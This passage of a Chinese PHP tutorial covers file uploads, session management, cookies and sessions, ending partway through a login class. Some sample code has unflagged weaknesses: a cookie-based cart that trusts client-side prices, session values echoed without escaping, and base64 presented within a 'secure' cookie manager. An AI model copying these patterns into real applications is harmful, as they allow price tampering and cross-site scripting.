            'size' => $file['size'],
            'type' => $file['type'],
            'description' => $description,
            'upload_time' => date('Y-m-d H:i:s')
        ];
    }

    private function generateSafeFilename($originalName) {
        $pathInfo = pathinfo($originalName);
        $extension = strtolower($pathInfo['extension']);
        $basename = preg_replace('/[^a-zA-Z0-9\-_]/', '', $pathInfo['filename']);

        if (empty($basename)) {
            $basename = 'file';
        }

        return $basename . '_' . uniqid() . '.' . $extension;
    }

    private function getUploadErrorMessage($errorCode) {
        switch ($errorCode) {
            case UPLOAD_ERR_INI_SIZE:
                return '文件大小超过服务器限制';
            case UPLOAD_ERR_FORM_SIZE:
                return '文件大小超过表单限制';
            case UPLOAD_ERR_PARTIAL:
                return '文件只有部分被上传';
            case UPLOAD_ERR_NO_FILE:
                return '没有文件被上传';
            case UPLOAD_ERR_NO_TMP_DIR:
                return '缺少临时文件夹';
            case UPLOAD_ERR_CANT_WRITE:
                return '文件写入失败';
            default:
                return '未知上传错误';
        }
    }

    public function getErrors() {
        return $this->errors;
    }

    public function hasErrors() {
        return !empty($this->errors);
    }
}

// 使用示例
$uploader = new FileUploader('uploads', ['image/jpeg', 'image/png', 'image/gif'], 5 * 1024 * 1024);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $result = $uploader->upload($_FILES['file']);

    if ($result) {
        echo '上传成功:' . $result['filename'];
    } else {
        echo '上传失败:' . implode(', ', $uploader->getErrors());
    }
}
?>

总结

文件上传是Web开发中的重要功能,但同时也存在安全风险。通过合理的配置、严格的验证和安全的处理流程,可以构建安全可靠的文件上传系统。记住:始终不要信任用户上传的文件,要进行多重验证和检查。

会话管理概述

学习目标

  • 理解会话管理在Web应用中的重要作用
  • 掌握Cookie和Session的基本概念和区别
  • 了解无状态HTTP协议的会话保持机制
  • 学会在PHP中实现安全的会话管理

为什么需要会话管理

HTTP协议是无状态的,这意味着每个请求都是独立的,服务器不会记住之前的请求。会话管理解决了这个问题,让Web应用能够:

  • 用户认证:维持用户登录状态
  • 购物车:保存用户的购物车信息
  • 个性化设置:记录用户偏好和设置
  • 安全控制:实施访问权限管理
  • 数据持久:在页面间传递数据

Cookie(客户端存储)

  • 存储位置:用户浏览器
  • 数据大小:通常限制在4KB
  • 有效期:可设置过期时间
  • 安全性:相对较低,可被篡改
  • 性能:减少服务器负担

Session(服务器端存储)

  • 存储位置:服务器
  • 数据大小:理论上无限制
  • 有效期:浏览器关闭或超时失效
  • 安全性:较高,数据不暴露给客户端
  • 性能:增加服务器负担

会话管理的工作流程

graph LR
    A[用户首次访问] --> B[服务器创建Session]
    B --> C[生成Session ID]
    C --> D[发送Cookie给客户端]
    D --> E[客户端保存Session ID]
    E --> F[后续请求携带Cookie]
    F --> G[服务器识别Session]
    G --> H[恢复用户状态]

基本概念

无状态性

HTTP协议的每个请求都是独立的,服务器不会记住之前的请求:

<?php
// 传统的问题:无法记住用户状态
// 第一个请求
echo "你好,访客!";

// 第二个请求(无法知道这是同一个用户)
echo "你好,访客!"; // 又重新问候
?>

会话标识符

会话标识符(Session ID)是连接客户端和服务器的桥梁:

<?php
session_start(); // 启动会话

// 每个用户都有唯一的会话ID
echo "会话ID:" . session_id();

// 会话ID存储在Cookie中
print_r($_COOKIE); // 包含PHPSESSID
?>

会话生命周期

  1. 启动会话:用户首次访问或需要会话功能时
  2. 数据存储:在$_SESSION中存储数据
  3. 会话维护:通过Cookie或URL传递Session ID
  4. 数据访问:在不同页面中读取会话数据
  5. 会话销毁:用户登出或会话超时

安全性考虑

会话管理中的主要安全威胁:

  1. 会话劫持:攻击者窃取合法用户的会话ID
  2. 会话固定:攻击者强制用户使用已知的会话ID
  3. 跨站脚本攻击:通过XSS窃取会话Cookie
  4. 会话重放攻击:重用已过期的会话数据

本章学习内容

本章将深入学习以下主题:

  1. Cookie的使用:学习Cookie的创建、读取和管理
  2. Session会话:掌握Session的生命周期和数据管理
  3. 用户认证基础:实现完整的登录认证系统
  4. 安全性最佳实践:防范各种会话安全威胁

实践建议

  • 始终在会话启动前调用session_start()
  • 合理设置会话过期时间
  • 使用HTTPS保护会话数据传输
  • 定期重新生成会话ID防止固定攻击
  • 在敏感操作后验证会话状态

总结

会话管理是现代Web应用的核心功能,它使得无状态的HTTP协议能够支持有状态的用户交互。通过合理使用Cookie和Session,我们可以创建安全、高效的Web应用程序。在接下来的章节中,我们将详细学习如何实现各种会话管理功能。

Cookie的使用

什么是Cookie?

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器发起请求时被携带并发送到服务器上。Cookie是Web开发中实现状态管理的重要机制之一。

Cookie的基本概念

Cookie的组成

一个完整的Cookie包含以下几个部分:

Set-Cookie: name=value; Domain=example.com; Path=/; Expires=Wed, 09 Jun 2025 10:18:14 GMT; Secure; HttpOnly; SameSite=Lax
  • 名称-值对name=value - Cookie的核心数据
  • 域(Domain):指定Cookie发送到哪个域名
  • 路径(Path):指定Cookie在哪个路径下发送
  • 过期时间(Expires/Max-Age):Cookie的有效期
  • 安全标志(Secure):只在HTTPS连接下发送
  • HttpOnly标志:防止JavaScript访问Cookie
  • SameSite属性:防止跨站请求伪造(CSRF)攻击

Cookie的特点

  1. 存储在客户端:数据保存在用户的浏览器中
  2. 大小限制:通常限制为4KB
  3. 自动发送:每次请求相关域名时会自动携带
  4. 可设置过期时间:可以是会话Cookie或持久Cookie
  5. 相对不安全:用户可以查看和修改Cookie

Cookie的基本操作

1. 设置Cookie

在PHP中,使用setcookie()函数创建Cookie:

<?php
// 基本语法
setcookie(name, value, expire, path, domain, secure, httponly);

// 示例1:创建一个简单的Cookie
setcookie("username", "张三", time() + 3600); // 1小时后过期

// 示例2:创建带有详细参数的Cookie
$cookie_name = "user_preferences";
$cookie_value = "theme=dark&lang=zh";
$expiration_time = time() + (86400 * 30); // 30天后过期
$cookie_path = "/"; // 整个网站都可用
$cookie_domain = ""; // 当前域名
$secure_only = false; // HTTP和HTTPS都可用
$httponly = true; // 只能通过HTTP访问,防止JavaScript攻击

setcookie($cookie_name, $cookie_value, $expiration_time, $cookie_path, $cookie_domain, $secure_only, $httponly);

echo "Cookie已设置!";
?>

2. 读取Cookie

读取Cookie使用$_COOKIE超全局数组:

<?php
// 检查Cookie是否存在
if (isset($_COOKIE['username'])) {
    $username = $_COOKIE['username'];
    echo "欢迎回来," . htmlspecialchars($username) . "!";
} else {
    echo "欢迎新访客!";
}

// 读取所有Cookie
echo "<h3>所有Cookie:</h3>";
foreach ($_COOKIE as $name => $value) {
    echo "$name = " . htmlspecialchars($value) . "<br>";
}

// 读取用户偏好设置并解析
if (isset($_COOKIE['user_preferences'])) {
    $preferences = $_COOKIE['user_preferences'];
    parse_str($preferences, $prefs);

    echo "<h3>用户偏好设置:</h3>";
    echo "主题:" . ($prefs['theme'] ?? '默认') . "<br>";
    echo "语言:" . ($prefs['lang'] ?? '默认') . "<br>";
}
?>

3. 修改Cookie

修改Cookie实际上是设置一个同名的新Cookie:

<?php
// 修改现有Cookie
if (isset($_COOKIE['username'])) {
    // 更新用户名
    $new_username = "张三_更新版";
    setcookie("username", $new_username, time() + 3600);
    echo "用户名已更新为:" . htmlspecialchars($new_username);
}

// 更新Cookie过期时间
if (isset($_COOKIE['last_visit'])) {
    // 延长过期时间
    setcookie("last_visit", date('Y-m-d H:i:s'), time() + (86400 * 7));
    echo "访问时间Cookie已延长7天";
}
?>

4. 删除Cookie

删除Cookie通过将过期时间设置为过去的时间来实现:

<?php
// 删除单个Cookie
if (isset($_COOKIE['username'])) {
    setcookie("username", "", time() - 3600); // 设置为过去的时间
    echo "username Cookie已删除";
}

// 删除所有Cookie(示例)
$cookies_to_delete = ['username', 'user_preferences', 'last_visit'];
$deleted_count = 0;

foreach ($cookies_to_delete as $cookie_name) {
    if (isset($_COOKIE[$cookie_name])) {
        setcookie($cookie_name, "", time() - 3600, "/");
        $deleted_count++;
    }
}

echo "已删除 $deleted_count 个Cookie";
?>

Cookie的实际应用示例

示例1:用户偏好设置系统

<?php
// 用户偏好设置管理系统
class UserPreferences {
    private $preferences = [];
    private $cookie_name = "user_prefs";
    private $cookie_duration = 86400 * 30; // 30天

    public function __construct() {
        $this->loadPreferences();
    }

    // 从Cookie加载用户偏好
    private function loadPreferences() {
        if (isset($_COOKIE[$this->cookie_name])) {
            $cookie_data = $_COOKIE[$this->cookie_name];
            $decoded_data = json_decode($cookie_data, true);
            if ($decoded_data) {
                $this->preferences = $decoded_data;
            }
        }
    }

    // 设置用户偏好
    public function setPreference($key, $value) {
        $this->preferences[$key] = $value;
        $this->savePreferences();
    }

    // 获取用户偏好
    public function getPreference($key, $default = null) {
        return $this->preferences[$key] ?? $default;
    }

    // 保存偏好到Cookie
    private function savePreferences() {
        $encoded_data = json_encode($this->preferences);
        setcookie($this->cookie_name, $encoded_data, time() + $this->cookie_duration, "/", "", false, true);
    }

    // 获取所有偏好
    public function getAllPreferences() {
        return $this->preferences;
    }

    // 清除所有偏好
    public function clearPreferences() {
        $this->preferences = [];
        setcookie($this->cookie_name, "", time() - 3600, "/");
    }
}

// 使用示例
$preferences = new UserPreferences();

// 设置用户偏好
$preferences->setPreference('theme', 'dark');
$preferences->setPreference('language', 'zh');
$preferences->setPreference('page_size', 20);
$preferences->setPreference('notifications', 'enabled');

// 获取并应用用户偏好
$theme = $preferences->getPreference('theme', 'light');
$language = $preferences->getPreference('language', 'en');
$page_size = $preferences->getPreference('page_size', 10);

echo "<div style='background-color: " . ($theme === 'dark' ? '#333' : '#fff') . "; color: " . ($theme === 'dark' ? '#fff' : '#333') . "; padding: 20px;'>";
echo "<h2>用户偏好设置已应用</h2>";
echo "主题:$theme<br>";
echo "语言:$language<br>";
echo "页面大小:$page_size 条记录<br>";
echo "</div>";
?>

示例2:访问计数器

<?php
// 网站访问计数器
class VisitCounter {
    private $cookie_name = "visit_counter";
    private $cookie_duration = 86400 * 365; // 1年

    public function __construct() {
        $this->trackVisit();
    }

    // 记录访问
    private function trackVisit() {
        if (!isset($_COOKIE[$this->cookie_name])) {
            // 首次访问
            $visit_data = [
                'total_visits' => 1,
                'first_visit' => date('Y-m-d H:i:s'),
                'last_visit' => date('Y-m-d H:i:s'),
                'visit_dates' => [date('Y-m-d')]
            ];
        } else {
            // 重复访问
            $visit_data = json_decode($_COOKIE[$this->cookie_name], true);
            $visit_data['total_visits']++;
            $visit_data['last_visit'] = date('Y-m-d H:i:s');

            // 添加今天的日期(如果不重复)
            $today = date('Y-m-d');
            if (!in_array($today, $visit_data['visit_dates'])) {
                $visit_data['visit_dates'][] = $today;
                // 保持最近30天的访问记录
                if (count($visit_data['visit_dates']) > 30) {
                    array_shift($visit_data['visit_dates']);
                }
            }
        }

        // 保存到Cookie
        setcookie($this->cookie_name, json_encode($visit_data), time() + $this->cookie_duration, "/", "", false, true);
    }

    // 获取访问统计
    public function getVisitStats() {
        if (isset($_COOKIE[$this->cookie_name])) {
            return json_decode($_COOKIE[$this->cookie_name], true);
        }
        return null;
    }

    // 获取总访问次数
    public function getTotalVisits() {
        $stats = $this->getVisitStats();
        return $stats['total_visits'] ?? 0;
    }

    // 获取访问天数
    public function getVisitDays() {
        $stats = $this->getVisitStats();
        return $stats ? count($stats['visit_dates']) : 0;
    }

    // 显示欢迎信息
    public function showWelcomeMessage() {
        $stats = $this->getVisitStats();

        if ($stats) {
            if ($stats['total_visits'] === 1) {
                $message = "欢迎您首次访问本站!";
            } else {
                $days_between = $this->calculateDaysBetween($stats['first_visit'], $stats['last_visit']);
                $message = "欢迎回来!您已经访问了 {$stats['total_visits']} 次,";
                $message .= "跨越了 {$days_between} 天,";
                $message .= "其中有 {$this->getVisitDays()} 天有访问记录。";
            }
        } else {
            $message = "欢迎访问本站!";
        }

        return $message;
    }

    // 计算两个日期之间的天数
    private function calculateDaysBetween($start_date, $end_date) {
        $start = new DateTime($start_date);
        $end = new DateTime($end_date);
        return $start->diff($end)->days + 1;
    }
}

// 使用访问计数器
$counter = new VisitCounter();

echo "<div style='border: 1px solid #ddd; padding: 20px; margin: 20px; border-radius: 5px;'>";
echo "<h2>访问统计</h2>";
echo "<p><strong>" . $counter->showWelcomeMessage() . "</strong></p>";

$stats = $counter->getVisitStats();
if ($stats) {
    echo "<ul>";
    echo "<li>总访问次数:<strong>" . $stats['total_visits'] . "</strong> 次</li>";
    echo "<li>首次访问:<strong>" . $stats['first_visit'] . "</strong></li>";
    echo "<li>最近访问:<strong>" . $stats['last_visit'] . "</strong></li>";
    echo "<li>访问天数:<strong>" . $counter->getVisitDays() . "</strong> 天</li>";
    echo "</ul>";
}
echo "</div>";
?>

示例3:购物车系统

<?php
// 简单的购物车Cookie实现
class ShoppingCart {
    private $cookie_name = "shopping_cart";
    private $cookie_duration = 86400 * 7; // 7天

    public function __construct() {
        $this->initializeCart();
    }

    // 初始化购物车
    private function initializeCart() {
        if (!isset($_COOKIE[$this->cookie_name])) {
            // 创建空的购物车
            $cart_data = [
                'items' => [],
                'total_price' => 0,
                'created_at' => date('Y-m-d H:i:s'),
                'updated_at' => date('Y-m-d H:i:s')
            ];
            $this->saveCart($cart_data);
        }
    }

    // 添加商品到购物车
    public function addItem($product_id, $product_name, $price, $quantity = 1) {
        $cart = $this->getCart();

        // 检查商品是否已在购物车中
        if (isset($cart['items'][$product_id])) {
            $cart['items'][$product_id]['quantity'] += $quantity;
        } else {
            $cart['items'][$product_id] = [
                'name' => $product_name,
                'price' => $price,
                'quantity' => $quantity,
                'added_at' => date('Y-m-d H:i:s')
            ];
        }

        // 更新总价和修改时间
        $cart['total_price'] = $this->calculateTotalPrice($cart['items']);
        $cart['updated_at'] = date('Y-m-d H:i:s');

        $this->saveCart($cart);
        return true;
    }

    // 从购物车移除商品
    public function removeItem($product_id) {
        $cart = $this->getCart();

        if (isset($cart['items'][$product_id])) {
            unset($cart['items'][$product_id]);
            $cart['total_price'] = $this->calculateTotalPrice($cart['items']);
            $cart['updated_at'] = date('Y-m-d H:i:s');
            $this->saveCart($cart);
            return true;
        }
        return false;
    }

    // 更新商品数量
    public function updateQuantity($product_id, $quantity) {
        if ($quantity <= 0) {
            return $this->removeItem($product_id);
        }

        $cart = $this->getCart();

        if (isset($cart['items'][$product_id])) {
            $cart['items'][$product_id]['quantity'] = $quantity;
            $cart['total_price'] = $this->calculateTotalPrice($cart['items']);
            $cart['updated_at'] = date('Y-m-d H:i:s');
            $this->saveCart($cart);
            return true;
        }
        return false;
    }

    // 获取购物车数据
    public function getCart() {
        if (isset($_COOKIE[$this->cookie_name])) {
            return json_decode($_COOKIE[$this->cookie_name], true);
        }
        return null;
    }

    // 获取购物车中的商品数量
    public function getItemCount() {
        $cart = $this->getCart();
        if ($cart && isset($cart['items'])) {
            return count($cart['items']);
        }
        return 0;
    }

    // 获取商品总数量
    public function getTotalQuantity() {
        $cart = $this->getCart();
        $total = 0;

        if ($cart && isset($cart['items'])) {
            foreach ($cart['items'] as $item) {
                $total += $item['quantity'];
            }
        }
        return $total;
    }

    // 清空购物车
    public function clearCart() {
        setcookie($this->cookie_name, "", time() - 3600, "/");
        return true;
    }

    // 保存购物车到Cookie
    private function saveCart($cart_data) {
        $encoded_data = json_encode($cart_data);
        setcookie($this->cookie_name, $encoded_data, time() + $this->cookie_duration, "/", "", false, true);
    }

    // 计算总价
    private function calculateTotalPrice($items) {
        $total = 0;
        foreach ($items as $item) {
            $total += $item['price'] * $item['quantity'];
        }
        return $total;
    }

    // 显示购物车
    public function displayCart() {
        $cart = $this->getCart();

        if (!$cart || empty($cart['items'])) {
            echo "<p>购物车是空的</p>";
            return;
        }

        echo "<div style='border: 1px solid #ddd; padding: 20px; margin: 20px;'>";
        echo "<h2>购物车</h2>";
        echo "<table style='width: 100%; border-collapse: collapse;'>";
        echo "<tr style='background-color: #f2f2f2;'>";
        echo "<th style='padding: 10px; border: 1px solid #ddd;'>商品</th>";
        echo "<th style='padding: 10px; border: 1px solid #ddd;'>单价</th>";
        echo "<th style='padding: 10px; border: 1px solid #ddd;'>数量</th>";
        echo "<th style='padding: 10px; border: 1px solid #ddd;'>小计</th>";
        echo "</tr>";

        foreach ($cart['items'] as $product_id => $item) {
            $subtotal = $item['price'] * $item['quantity'];
            echo "<tr>";
            echo "<td style='padding: 10px; border: 1px solid #ddd;'>" . htmlspecialchars($item['name']) . "</td>";
            echo "<td style='padding: 10px; border: 1px solid #ddd;'>¥" . number_format($item['price'], 2) . "</td>";
            echo "<td style='padding: 10px; border: 1px solid #ddd;'>" . $item['quantity'] . "</td>";
            echo "<td style='padding: 10px; border: 1px solid #ddd;'>¥" . number_format($subtotal, 2) . "</td>";
            echo "</tr>";
        }

        echo "<tr style='font-weight: bold;'>";
        echo "<td colspan='3' style='padding: 10px; border: 1px solid #ddd; text-align: right;'>总计:</td>";
        echo "<td style='padding: 10px; border: 1px solid #ddd;'>¥" . number_format($cart['total_price'], 2) . "</td>";
        echo "</tr>";
        echo "</table>";
        echo "</div>";
    }
}

// 使用购物车示例
$cart = new ShoppingCart();

// 模拟添加商品
$cart->addItem(1, "iPhone 14", 5999.00, 1);
$cart->addItem(2, "MacBook Pro", 12999.00, 1);
$cart->addItem(3, "AirPods", 1299.00, 2);

// 显示购物车信息
echo "<div style='margin: 20px;'>";
echo "<h3>购物车统计</h3>";
echo "<p>商品种类:" . $cart->getItemCount() . " 种</p>";
echo "<p>商品总数:" . $cart->getTotalQuantity() . " 件</p>";
echo "</div>";

// 显示购物车详情
$cart->displayCart();
?>

Cookie的安全性问题

1. Cookie的安全威胁

<?php
// ❌ 不安全的Cookie使用方式
setcookie("user_id", "123", time() + 3600); // 直接存储敏感信息
setcookie("password", "secret123", time() + 3600); // 绝对不要存储密码

// ✅ 安全的Cookie使用方式
$user_session_token = bin2hex(random_bytes(32)); // 生成安全的随机令牌
setcookie("session_token", $user_session_token, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // 只在HTTPS下传输
    'httponly' => true,    // 防止JavaScript访问
    'samesite' => 'Strict' // 防止CSRF攻击
]);
?>

2. Cookie安全最佳实践

<?php
// 安全Cookie设置类
class SecureCookieManager {
    private $domain;
    private $use_https;

    public function __construct($domain = '', $use_https = false) {
        $this->domain = $domain;
        $this->use_https = $use_https;
    }

    // 设置安全的Cookie
    public function setSecureCookie($name, $value, $expiration = 0, $path = '/') {
        $options = [
            'expires' => $expiration,
            'path' => $path,
            'domain' => $this->domain,
            'secure' => $this->use_https,
            'httponly' => true,
            'samesite' => 'Strict'
        ];

        // 对Cookie值进行编码(可选)
        $encoded_value = base64_encode($value);

        return setcookie($name, $encoded_value, $options);
    }

    // 获取并验证Cookie
    public function getSecureCookie($name) {
        if (isset($_COOKIE[$name])) {
            $value = base64_decode($_COOKIE[$name]);
            // 这里可以添加额外的验证逻辑
            return $value;
        }
        return null;
    }

    // 删除Cookie
    public function deleteCookie($name, $path = '/') {
        $options = [
            'expires' => time() - 3600,
            'path' => $path,
            'domain' => $this->domain,
            'secure' => $this->use_https,
            'httponly' => true,
            'samesite' => 'Strict'
        ];

        return setcookie($name, '', $options);
    }
}

// 使用示例
$cookie_manager = new SecureCookieManager('example.com', true);

// 安全地设置用户Cookie
$user_data = ['id' => 123, 'role' => 'user'];
$cookie_manager->setSecureCookie('user_session', json_encode($user_data), time() + 3600);

// 安全地获取用户Cookie
$user_session = $cookie_manager->getSecureCookie('user_session');
if ($user_session) {
    $user_data = json_decode($user_session, true);
    echo "用户ID:" . $user_data['id'];
}
?>

Cookie的限制和注意事项

1. Cookie大小限制

<?php
// 检查Cookie大小
function checkCookieSize($name, $value) {
    $max_size = 4096; // 4KB
    $cookie_size = strlen($name . '=' . $value);

    if ($cookie_size > $max_size) {
        throw new Exception("Cookie大小超过限制:{$cookie_size} 字节 > {$max_size} 字节");
    }

    return true;
}

// 安全设置大Cookie
try {
    $large_data = "这是一个很长的数据...";
    checkCookieSize("large_cookie", $large_data);
    setcookie("large_cookie", $large_data, time() + 3600);
} catch (Exception $e) {
    echo "错误:" . $e->getMessage();
    // 考虑使用Session或其他存储方式
}
?>

2. Cookie数量限制

<?php
// Cookie数量管理类
class CookieLimitManager {
    private $max_cookies = 50; // 每个域名最多50个Cookie
    private $cookie_prefix = "app_";

    // 检查Cookie数量
    public function checkCookieLimit() {
        $app_cookies = 0;
        foreach ($_COOKIE as $name => $value) {
            if (strpos($name, $this->cookie_prefix) === 0) {
                $app_cookies++;
            }
        }

        if ($app_cookies >= $this->max_cookies) {
            return false;
        }
        return true;
    }

    // 智能设置Cookie
    public function setSmartCookie($name, $value, $expiration = 0) {
        $full_name = $this->cookie_prefix . $name;

        if (!$this->checkCookieLimit()) {
            // 清理最旧的Cookie
            $this->cleanupOldCookies();
        }

        return setcookie($full_name, $value, $expiration, "/");
    }

    // 清理最旧的Cookie
    private function cleanupOldCookies() {
        // 这里可以实现清理逻辑
        // 例如删除临时Cookie或不重要的Cookie
    }
}
?>

总结

Cookie是Web开发中实现状态管理的重要工具,掌握其正确使用方法对于开发高质量的Web应用至关重要。

关键要点:

  1. Cookie存储在客户端,适合存储非敏感的用户偏好信息
  2. 正确设置安全选项:Secure、HttpOnly、SameSite
  3. 注意大小限制:单个Cookie不超过4KB
  4. 考虑隐私保护:遵守GDPR等隐私法规
  5. 合理使用过期时间:平衡用户体验和服务器资源

最佳实践:

  • 使用Session存储敏感数据,Cookie存储非敏感数据
  • 始终对Cookie值进行验证和过滤
  • 定期清理不必要的Cookie
  • 在HTTPS网站下使用安全Cookie选项
  • 遵循最小权限原则

通过合理使用Cookie,你可以创建更加用户友好和功能丰富的Web应用程序。在下一章中,我们将学习Session的使用,了解如何在服务器端管理用户状态。

Session会话

什么是Session?

Session(会话)是服务器端的状态管理机制,它允许我们在多个页面请求之间存储用户信息。与Cookie不同,Session数据存储在服务器上,客户端只保存一个会话标识符(Session ID),这使得Session更加安全和可靠。

Session的工作原理

Session的生命周期

用户首次访问 → 创建Session → 生成Session ID → 发送Cookie(包含Session ID) →
用户后续请求 → 携带Session ID → 服务器识别Session → 恢复用户状态

Session的组成部分

  1. Session ID:唯一的会话标识符
  2. Session数据:存储在服务器上的用户信息
  3. Session Cookie:存储在客户端的Session ID
  4. Session文件:服务器上存储Session数据的文件

Session的基本操作

1. 启动Session

使用session_start()函数启动Session:

<?php
// 启动Session(必须在任何输出之前调用)
session_start();

// 启动Session后,可以使用$_SESSION超全局数组
echo "Session已启动!";

// 显示Session ID
echo "当前Session ID:" . session_id();

// 检查Session状态
if (session_status() === PHP_SESSION_ACTIVE) {
    echo "Session处于活动状态";
}
?>

2. 存储和读取Session数据

<?php
// 启动Session
session_start();

// 存储简单数据
$_SESSION['username'] = "张三";
$_SESSION['user_id'] = 12345;
$_SESSION['is_logged_in'] = true;

// 存储复杂数据
$_SESSION['user_profile'] = [
    'name' => '张三',
    'email' => 'zhangsan@example.com',
    'age' => 25,
    'hobbies' => ['编程', '阅读', '旅行']
];

// 存储对象
class ShoppingCart {
    public $items = [];
    public $total = 0;

    public function addItem($item, $price) {
        $this->items[] = $item;
        $this->total += $price;
    }
}

$_SESSION['cart'] = new ShoppingCart();
$_SESSION['cart']->addItem('iPhone', 5999);

// 读取Session数据
echo "用户名:" . $_SESSION['username'] . "<br>";
echo "用户ID:" . $_SESSION['user_id'] . "<br>";
echo "登录状态:" . ($_SESSION['is_logged_in'] ? '已登录' : '未登录') . "<br>";

// 读取复杂数据
echo "用户邮箱:" . $_SESSION['user_profile']['email'] . "<br>";
echo "用户爱好:" . implode(', ', $_SESSION['user_profile']['hobbies']) . "<br>";

// 读取对象数据
echo "购物车商品数:" . count($_SESSION['cart']->items) . "<br>";
echo "购物车总价:" . $_SESSION['cart']->total . "<br>";
?>

3. 检查Session变量是否存在

<?php
session_start();

// 检查单个Session变量
if (isset($_SESSION['username'])) {
    echo "欢迎回来," . $_SESSION['username'] . "!";
} else {
    echo "请先登录!";
}

// 检查Session是否为空
if (empty($_SESSION['user_id'])) {
    echo "用户ID未设置";
}

// 使用null合并运算符提供默认值
$username = $_SESSION['username'] ?? '访客';
echo "你好,$username!";

// 检查多个Session变量
$required_session_vars = ['user_id', 'username', 'is_logged_in'];
$missing_vars = [];

foreach ($required_session_vars as $var) {
    if (!isset($_SESSION[$var])) {
        $missing_vars[] = $var;
    }
}

if (!empty($missing_vars)) {
    echo "缺少必要的Session变量:" . implode(', ', $missing_vars);
} else {
    echo "所有必要的Session变量都已设置";
}
?>

4. 删除Session数据

<?php
session_start();

// 删除单个Session变量
unset($_SESSION['temporary_data']);
echo "临时数据已删除<br>";

// 删除多个Session变量
$vars_to_remove = ['temp_var1', 'temp_var2', 'old_cart'];
foreach ($vars_to_remove as $var) {
    if (isset($_SESSION[$var])) {
        unset($_SESSION[$var]);
        echo "$var 已删除<br>";
    }
}

// 清空所有Session数据(保留Session本身)
$_SESSION = [];
echo "所有Session数据已清空<br>";

// 完全销毁Session
session_destroy();
echo "Session已完全销毁<br>";
?>

5. 销毁Session

<?php
// 完整的Session销毁过程
session_start();

// 1. 清空所有Session变量
$_SESSION = [];

// 2. 删除Session Cookie(如果存在)
if (ini_get("session.use_cookies")) {
    $params = session_get_cookie_params();
    setcookie(session_name(), '', time() - 42000,
        $params["path"], $params["domain"],
        $params["secure"], $params["httponly"]
    );
}

// 3. 销毁Session
session_destroy();

echo "用户已安全退出登录!";
?>

Session配置

1. Session配置选项

<?php
// 在php.ini中配置Session
/*
session.save_handler = files          // Session存储方式
session.save_path = "/tmp"           // Session文件存储路径
session.name = PHPSESSID             // Session Cookie名称
session.auto_start = 0               // 是否自动启动Session
session.cookie_lifetime = 0           // Session Cookie生命周期(0表示浏览器关闭时失效)
session.cookie_path = /              // Session Cookie路径
session.cookie_domain =              // Session Cookie域名
session.cookie_secure =              // 是否只在HTTPS下传输Session Cookie
session.cookie_httponly =            // 是否设置HttpOnly标志
session.cookie_samesite =            // SameSite属性
session.use_strict_mode = 0          // 严格模式
session.use_cookies = 1              // 是否使用Cookie
session.use_only_cookies = 1         // 是否只使用Cookie
session.referer_check =              // 检查HTTP Referer
session.cache_limiter = nocache       // 缓存限制器
session.cache_expire = 180            // 缓存过期时间(分钟)
session.use_trans_sid = 0            // 是否在URL中传递Session ID
session.sid_length = 26              // Session ID长度
session.sid_bits_per_character = 5   // Session ID每位字符的位数
*/

// 在脚本中配置Session
ini_set('session.cookie_lifetime', 3600);        // 1小时
ini_set('session.cookie_httponly', 1);          // HttpOnly
ini_set('session.use_strict_mode', 1);          // 严格模式
ini_set('session.cookie_samesite', 'Strict');    // SameSite Strict

// 启动Session
session_start();

echo "Session配置已更新";
?>

2. 自定义Session存储

<?php
// 自定义Session处理器类
class DatabaseSessionHandler implements SessionHandlerInterface {
    private $db;
    private $table;

    public function __construct($db, $table = 'sessions') {
        $this->db = $db;
        $this->table = $table;

        // 创建sessions表
        $this->createSessionTable();
    }

    // 创建Session数据表
    private function createSessionTable() {
        $sql = "CREATE TABLE IF NOT EXISTS {$this->table} (
            id VARCHAR(128) PRIMARY KEY,
            data TEXT NOT NULL,
            timestamp INT NOT NULL,
            ip_address VARCHAR(45),
            user_agent TEXT
        )";
        $this->db->exec($sql);
    }

    // 打开Session
    public function open($savePath, $sessionName) {
        return true;
    }

    // 关闭Session
    public function close() {
        return true;
    }

    // 读取Session数据
    public function read($sessionId) {
        $stmt = $this->db->prepare("SELECT data FROM {$this->table} WHERE id = :id");
        $stmt->execute([':id' => $sessionId]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);

        return $result ? $result['data'] : '';
    }

    // 写入Session数据
    public function write($sessionId, $data) {
        $timestamp = time();
        $ip_address = $_SERVER['REMOTE_ADDR'] ?? '';
        $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';

        $stmt = $this->db->prepare(
            "INSERT INTO {$this->table} (id, data, timestamp, ip_address, user_agent)
             VALUES (:id, :data, :timestamp, :ip_address, :user_agent)
             ON DUPLICATE KEY UPDATE data = :data, timestamp = :timestamp"
        );

        return $stmt->execute([
            ':id' => $sessionId,
            ':data' => $data,
            ':timestamp' => $timestamp,
            ':ip_address' => $ip_address,
            ':user_agent' => $user_agent
        ]);
    }

    // 销毁Session
    public function destroy($sessionId) {
        $stmt = $this->db->prepare("DELETE FROM {$this->table} WHERE id = :id");
        return $stmt->execute([':id' => $sessionId]);
    }

    // 垃圾回收
    public function gc($maxLifetime) {
        $old = time() - $maxLifetime;
        $stmt = $this->db->prepare("DELETE FROM {$this->table} WHERE timestamp < :old");
        return $stmt->execute([':old' => $old]);
    }
}

// 使用自定义Session处理器
$pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');
$sessionHandler = new DatabaseSessionHandler($pdo);
session_set_save_handler($sessionHandler, true);
session_start();

// 现在Session数据将存储在数据库中
$_SESSION['user_id'] = 123;
$_SESSION['test'] = '数据库Session测试';
?>

Session实际应用示例

示例1:用户登录认证系统

<?php
// 用户认证类
class UserAuth {
    private $db;
    private $session_timeout = 3600; // 1小时超时

    public function __construct($db) {
        $this->db = $db;
        // 配置Session安全选项
        ini_set('session.cookie_httponly', 1);
        ini_set('session.use_strict_mode', 1);
        ini_set('session.cookie_samesite', 'Strict');
    }

    // 用户登录
    public function login($username, $password, $remember = false) {
        session_start();

        // 验证用户凭据
        $user = $this->authenticateUser($username, $password);

        if ($user) {
            // 重新生成Session ID防止Session固定攻击
            session_regenerate_id(true);

            // 设置Session数据
            $_SESSION['user_id'] = $user['id'];
            $_SESSION['username'] = $user['username'];
            $_SESSION['email'] = $user['email'];
            $_SESSION['role'] = $user['role'];
            $_SESSION['login_time'] = time();
            $_SESSION['last_activity'] = time();
            $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
